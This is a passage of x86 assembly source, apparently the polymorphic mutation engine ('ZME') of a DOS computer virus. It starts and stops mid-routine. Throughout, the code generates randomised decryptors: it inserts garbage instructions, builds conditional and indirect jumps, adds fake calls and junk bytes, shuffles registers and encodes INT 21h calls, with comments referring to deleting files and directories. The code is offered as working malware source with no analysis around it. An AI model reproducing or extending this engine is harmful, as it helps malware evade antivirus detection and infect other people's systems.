;*************************************************************************** mov cx, di sub cx, [engdata.targetptr] pop ax pop bx ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;*Â********Å*******Â**************ÂÂ**************************************Â** ;*Å******Â*Á*******Å**************ÅÅ**************************************Å** ; À******Å*********Á *ÁÁ**************************************Á ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ** pblabel encode_reloc_patch ;add cs:[r0.(offset addbuf1-relocator_base)], r0 call garble_more sto_two_byte opSEGCS, 01 mov al, [engdata.reg0] mov cl, 9 mul cl or al, 10000100b cmp al, (R_BX*9) or 10000100b DOIF NE xor al, 00000010b DONE stosb mov ax, [engdata.relocator_base] neg ax ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ** ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ** pblabel encode_mem_access push ax add ax, VIRUSSTACKSIZE ;[engdata.sourceptr] and bx, bx DOIF NZ add [bx], di sub ax, [engdata.relocator_base] add ax, [engdata.targetptr] sub ax, VIRUSSTACKSIZE ;[engdata.sourceptr] DONE stosw pop ax jmp garble_more ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ** ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ** pblabel encode_zero_reg ;cl-register result - 2 byte stored call RND_GET_BYTE and al, 8 add al, 2Bh stosb ;store SUB | XOR R,R : 29, 2Bh, 31, 33 mov al, 9 ;cl-register mul cl or al, MASK M0D stosb ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel shit call RND_GET_THREE_BITS shr al,1 inc ax ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel shit_AX xchg cx,ax DO ;1 to 4 times call RND_GET_BYTE stosb ;add any shit after crypt data CYCLE LU ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel choose_fake_mov ;al=C0(add), C8(or), D0(adc), F0(xor) call RND_GET_BYTE MASKA al, 110xx000 ;al=C0(add), C8(or), D0(adc) cmp al, 0D3h ;no al=D8(sbb) DOIF A sub al, 0D8h-0F0h ;al := F0(xor) DONE ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel choose_wr_and_encode_mov call choose_word_register ; register for call offset xchg cx, ax ;*************************************************************************** pblabel encode_mov ;cl-register; result - 1..4 byte stored call RND_GET_BYTE DOIF C call encode_zero_reg ;reg:=0, CF:=0, possible use 'ADC' STO_BYTE 81h ;store ADD | OR | XOR R,value ;future: ;lea reg,[reg+] ? ; mov protect_reg, al call choose_fake_mov cmp cl, R_AX DOIF E ; transcoding: ; C0 -> 5 ; C8 -> D ; D0 -> 15 ; F0 -> 35 sub al, 0C0h-5 dec di DONE DOELSE mov al, 0B8h ;MOV R,value db B8; DONE or al, cl stosb ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ; ********
; zero reg ; add/adc/or/xor reg,mem pblabel encode_reg_mem call garble_more call RND_GET_BYTE PASS C cmp cl, 4 ;cl=4- 87 or 8B mov r,[] DOIF E mov cl, [engdata.reg1] call encode_zero_reg call garble_more call choose_fake_mov cmp al, 0D0h ;adc DOIF E call choose_word_register call encode_zero_reg mov al, 0D0h DONE add al, (80h+80h)+3-0C0h-87h ;3, b, 13, 33 mov cx, ax DONE and al, cl ;cl=2- 87 or 89 mov [],r add al, 87h ;cl=4- 87 or 8B mov r,[] mov ah, [engdata.reg1] shl ah, REG or ah, [engdata.reg0] or ah, 10000100b cmp [engdata.reg0], R_BX DOIF NE and ah, 11111101b DONE mov byte ptr [di], opSEGCS inc di stosw ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_add ;al-value, add reg0, value push ax mov al,[engdata.reg0] add al,0C0h mov ah,al mov al,81h stosw pop ax stosw ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÑÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ* ; ³ ZME ³ ENCODE ONE CRYPT OPERATION ³ ;ÍÏÍÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ* pblabel encode_one_crypt DO call RND_GET_BYTE and al, 00001110b cmp al, [engdata.lastgarble] CYCLE E pblabel force_choice_crypt_operation mov [engdata.lastgarble], al
;
;
;
xchg ax, bx mov cx, word ptr encrypt_opcode_table[bx] neg bl add bl, sizeof_encrypt_opcode_table-2 mov dx, word ptr encrypt_opcode_table[bx] and cl, not 1 ;clear size data flag and dl, not 1 ;clear size data flag call RND_GET_BYTE and al, ch ; patch it into the top and al, 3 ; this line unnecessary or cl, al ; byte for variable opcodes or dl, al ; byte for variable opcodes and dh, not MASK R_M and ch, not MASK R_M DOIF Z call choose_register mov ah, [engdata.lastchoose] ;lastchoose=1, 2, 3 ³ -1 ³ ax, cx, dx, dec ah ;al=lastchoose(1,2,3)+(0,4)-1= (0,1,2) or (4,5,6) shl ax, REG or ch, al or dh, ah IF CRYPTLEVEL GT 8 ;;;;;;;;IF YOU HAVE ANY TROUBLE - UNCOMMENT THIS; and [engdata.useregs], not MASK REG_ENC ;SET USED 2..3 ;do not reg1 in r/m field if use two register ENDIF test cl, 1 DOIF NZ and dh, 11011011b ;don't use BP, SI, DI DONE DONE call choose_register or ch, al or ch, MASK M0D ;no use memory or dh, [engdata.lastchoose] dec dh or dh, MASK M0D ;no use memory test cl, 1 ;use word DOIF NZ and dh, 11111011b ;don't use BP, SI, DI or dl, 1 DONE cmp al, R_AX mov ax, cx sto_word_ cx DOIF E ;optimize for ax/al test al, 01111110b DOIF Z and al, 1 or al, ah MASKA al, 00xxx10x dec di dec di stosb DONE DONE sub si, 4 mov word ptr [si], dx test cl, 01111110b ;al - high byte of opcode = ch DOIF Z call RND_GET stosw cmp cl, 81h ;16 bit
DOIF NE dec di mov ah, opNOP DONE mov word ptr [si][2], ax DONE mov [engdata.useregs], REG_GARBL_ALL ;*********************************************************************** test [engdata.zmeflags], MASK EN_INT_GARBL jz garble_more ;0 mov ax, 1 jmp garble_more_AX ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel garble_more_reg_all mov [engdata.useregs], REG_ALL ;SET USED all registers ;*************************************************************************** pblabel garble_more call RND_GET_THREE_BITS and al, not 4 ;1 pblabel garble_more_AX push si cx xchg cx, ax inc cx ;garble count = 4..7 DO push cx ; save garble count call garble_once ; garble ***MACRO*** pop cx ; restore garble count CYCLE LU call finish_cJMP ; if so, finish it call many_nonbranch_garble ; garble garble mov bx, [engdata.nJMP_patch] ; check if pending nJMP and bx, bx DOIF NZ STO_BYTE opRETN ; encode a RETN call shit ; after RETN - any shit ! add [bx], di mov bx, [engdata.end_of_jmp] mov [engdata.begin_sub], bx mov word ptr [engdata.nJMP_patch], 0 call many_nonbranch_garble ; garble DONE pop cx si retn ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel many_nonbranch_garble call RND_GET_THREE_BITS ; do large instruction shr ax, 1 inc ax xchg cx, ax DO call not_branch_garble_with_save_cx CYCLE LU retn ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel finish_cJMP ;
DO mov ax, di ; get current location mov bx, [engdata.cJMP_patch] ; get previous location and bx, bx ; in not open cJmp JZ @@retn ; cJMP_patch == 0? i.e. is sub ax, bx ; there an unfinished cJMP? dec ax ; calculate offset EXIT NZ call not_branch_garble ; fill in some instructions CYCLE cmp al, 7Fh ; are we close enough? DOIF A ; if so, finish this now mov al, 0 ; if not, encode cJMP $+2 DONE mov [bx], al ; patch the cJMP destination mov word ptr [engdata.cJMP_patch], 0 ; clear usage flag @@retn: retn ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel do_one_byte call choose_register cmp al, R_AX lea bx, onebyte_table DOIF E ; if possible use AX as garbage lea bx, onebyte_table_ax DONE call RND_GET_THREE_BITS xlat cmp al, 40h GOIN E cmp al, 48h ; DEC or INC ?? DOIF E ; all other onebyte command have opcode great 48h xchg cx, ax call choose_word_register add al, cl DONE stosb retn ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;Í* encode * branch * garbles *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel garble_once call RND_GET jp encode_CALL jb encode_int21 jz encode_cond_jmp jo not_branch_garble js do_one_byte ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ test [engdata.zmeflags], MASK EN_USE_CALL jz garble_once cmp word ptr [engdata.cJMP_patch], 0 ; is there an unfinished jnz finish_cJMP ;* encode jmp near ********************************************************* pblabel encode_jmp_near cmp word ptr [engdata.nJMP_patch], 0 ; is there an unfinished jnz encode_cond_jmp test
[engdata.zmeflags], MASK EN_RELOCATOR
;
jnz encode_jmp_nearE9 ;< jmp looptop & jmp virus (E9) if relocator GOIN NZ call RND_GET_BYTE DOIF NZ sto_byte opJMPN mov [engdata.nJMP_patch], di ; save location to patch xor ax, ax call sto_min_di_2 DOELSE ; encode JMP register call choose_wr_and_encode_mov mov [engdata.nJMP_patch], di ; save location to patch xor ax, ax call setup_reg or ah, cl ;ax= 0E0FFh stosw DONE call shit ; after jmp - any shit ! <<<<<<debug mov [engdata.end_of_jmp], di jmp garble_once ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;* encode a conditional jmp *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_cond_jmp test [engdata.zmeflags], MASK EN_USE_JMPS jz garble_once cmp word ptr [engdata.cJMP_patch], 0 ; is there an unfinished jnz finish_cJMP call RND_GET_BYTE DOIF Z MASKA al, 010000x0 ;encode cmp/test before Jx call force_not_branch_garble DONE pblabel @encode_cond_jmp call RND_GET_BYTE test al, 1010b ; don't encode jo/jno/jpo/jpe jpe @encode_cond_jmp MASKA al, 0111xxxx ; encode a conditional jmp push ax ; opcode 72..79, 7B..7F call choose_word_register cmp al, R_CX pop ax DOIF E ; if possible use CX as garbage MASKA al, 111000xx ; encode a conditional loop/jcxz DONE ; opcode E0..E3 pblabel do_cond_jmp stosb mov [engdata.cJMP_patch], di ; save target offset stosb jmp many_nonbranch_garble retn ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;* encode CALL *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_CALL test [engdata.zmeflags], MASK EN_USE_CALL jz garble_once cmp byte ptr [di-3], opCALL ;<<<debug jz encode_cond_jmp cmp word ptr [engdata.begin_sub], 0 ; is there one pending? jz encode_cond_jmp ; encode cond jmp test [engdata.zmeflags], MASK EN_RELOCATOR GOIN NZ ror al, 1
DOIF C sto_byte opCALL ; call near mov ax, [engdata.begin_sub] ; calculate CALL offset pblabel sto_min_di_2 sub ax, di dec ax dec ax DOELSE ; encode CALL register call choose_wr_and_encode_mov ;al-register, cx-value mov ax, [engdata.begin_sub] call setup_reg ; mov ah, 0D0h ; ax=0xD0FF now or ah, cl ; DONE stosw @@ret: ret ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel not_branch_garble ; DO ; get random INSTRUCTION call RND_GET_BYTE ; mostly do larger instructions normalise and al, 00111110b ; random number is it the same as before? cmp al, [engdata.lastgarble] ; then try again, we don't want two CYCLE E ; of the same sort in a row pblabel force_not_branch_garble mov [engdata.lastgarble], al ; else remember this one and process it ;--------------------------------------------------------------------------add ax, offset garble_table ; xchg si, ax ; mov cx, [si] ; and cl, not 1 ; call RND_GET_BYTE ; and al, ch ; and al, 3 ; or cl, al ; lea bx, [vir_heap._engdata.reg0] ; and ch, not MASK R_M ; clear bottom 3 bits DOIF Z ; if mod = 0 ;- encode two register instruction -- or reg und memory -------------------;----- process M0D --------------------------------------------------------call RND_GET_BYTE ; get random M0D and al, MASK M0D ; or ch, al ; fill in the field rol al, 2 ; mov dl, al ; dl=M0D cmp al, 11b ; use two register ? DOIF B ; if use memory, i.e. [bx+si] and cl, not 1 ; change to byte data "byte sized" DONE ; for not MOV AX,[0FFFFh] ;----- process Reg --------------------------------------------------------call choose_register ; test byte ptr [si], 00000100b DOIF NZ ; can we use any register as 1st ? call RND_GET_THREE_BITS DONE ; yes! any! // for (test/cmp) operation mov [engdata.lastchoose], al shl al, REG ; move register into the reg field ;----- process R/M --------------------------------------------------------push ax DO call RND_GET_BYTE ; get random R/M
and al, MASK R_M ; in memory access, cmp al, [engdata.lastchoose] CYCLE E ;don't "mov ax,ax" etc or ch, al ; cmp al, 110b ; if (R/M = 6) PASS NE ; test ch, MASK M0D ; and MOD = 00 DOIF E ; mov dl, 2 ; need two byte after instruction DONE ; ;--------------------------------------------------------------------------cmp ch, 0C0h DOIF B call RND_GET_BYTE DOIF P MASKA al,0010x110 ; 26, 2E, 36, 3E - segment prefix stosb ;segcs | seges DONE DONE pop ax DOELSE ;- encode one register instruction -------------- ! no memory ! -----------call choose_register ; xor dl, dl ; no data bytes test byte ptr [si], 1 ; DOIF Z ; if shift, not, neg inctruction inc dx ; assume byte test cl, 1 ; byte or word of data? DOIF NZ ; continue if so inc dx ; INC DX is better!!! DONE ; DONE cmp si, offset enc_mov_imm DOIF E test cl, 1 DOIF NE add al, 8 ;word DONE add al, 0B0h mov cl, al jmp less_1 DONE ;--------------------------------------------------------------------------cmp al, R_AX DOIF E test cl, 01111110b DOIF Z and cl, 1 or cl, ch MASKA cl, 00xxx10x jmp less_1 DONE cmp si, offset enc_test DOIF E sub cl, 0F6h-0A8h pblabel less_1 call RND_GET_BYTE mov ch, al dec dx DONE DONE ;- store instruction ------------------------------------------------------DONE ;
or ch, al ; 1st register xchg cx, ax ; stosw ; write the instruction ;- store data bytes after instruction -------------------------------------pblabel store_data_bytes_after_instruction and dl, dl ; needs data bytes? DOIF NZ ; cmp dl, 3 ; check length of instruction DOIF NE ; call RND_GET_BYTE ; stosb ; write the random byte dec dl ; CYCLE NZ ; DONE ; retn ; ;endp ; ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel choose_register call choose_word_register test cl, 1 ; byte or word register? DOIF Z ; if word, we are okay cmp al, R_SP DOIF AE ; is a SI, DI, BP, pop bx DONE and ah, 4 ; change xL to xH or al, ah ; make either byte or word register DONE ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel choose_word_register ; ; 1..3 - crypt registers ; 4..6 - garbage registers ; 0..6 - all registers ; 7654321 ;useregs 01111111b ; ÀÁÁÁÁÁÁ***"1" - possible use reg6..reg0 ; DO pblabel doo mov bl,[engdata.useregs] call RND_GET_THREE_BITS ; get random number clc ; CF=0 xchg cx,ax shr bl,cl xchg cx,ax jnc doo dec ax lea bx, [vir_heap._engdata.reg0] add bx, ax ;ifd cmp byte ptr [bx],-1 ;pub protect_reg equ byte ptr $-1 je doo cmp al,[engdata.lastchoose] je doo mov [engdata.lastchoose],al
mov al,[bx] ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel setup_reg add ax, VIRUSSTACKSIZE ;[engdata.sourceptr] sub ax, [engdata.targetptr] stosw pblabel not_branch_garble_with_save_cx push cx call not_branch_garble pop cx mov ax, 0E0FFh ; encode JMP register ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_push ;bx DO push bx call choose_word_register pop bx cmp al,R_CX CYCLE BE ;te:R_AX or R_CX push ax xchg cx, ax call encode_mov xchg ax, bx pblabel push_any_sux1 stosw pop ax pblabel push_any_sux ;al-register for push add al, opPUSH_AX ;push sux stosb ret jmp many_nonbranch_garble ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_push_addr call choose_word_register push ax xchg cx,ax call encode_mov mov bx,di mov ax, VIRUSSTACKSIZE ;[engdata.sourceptr] sub ax, [engdata.targetptr] jmp push_any_sux1 ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_far_jmp ;cx:dx call RND_GET DOIF P push dx mov bx, cx call encode_push pop bx
call encode_push STO_BYTE opRETF DOELSE STO_BYTE opJMPFAR xchg ax, dx stosw xchg ax, cx stosw DONE jmp shit ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel choose_function call rnd_get_byte ;- choose function and al, 0Fh add ax, offset int21func cmp ax, offset cf_1 xchg si, ax ;- setup CF DOIF B call choose_word_register xchg cx, ax call encode_zero_reg ;encode CF=0 DONE ;comment # ;- setup DX ;- enc mov dx,0..7fff ;- need for deldir, delfile, findfirst cmp si,offset setdx DOIF AE mov cl, R_DX call encode_mov call RND_GET shr ax, 1 stosw DONE ;# test di,ax ;pseudo-random ;- setup reg AH mov al, opMOV_AHimm ;mov ah,xx DOIF P sub cl, cl ;mov cl,R_AX call encode_mov ;mov 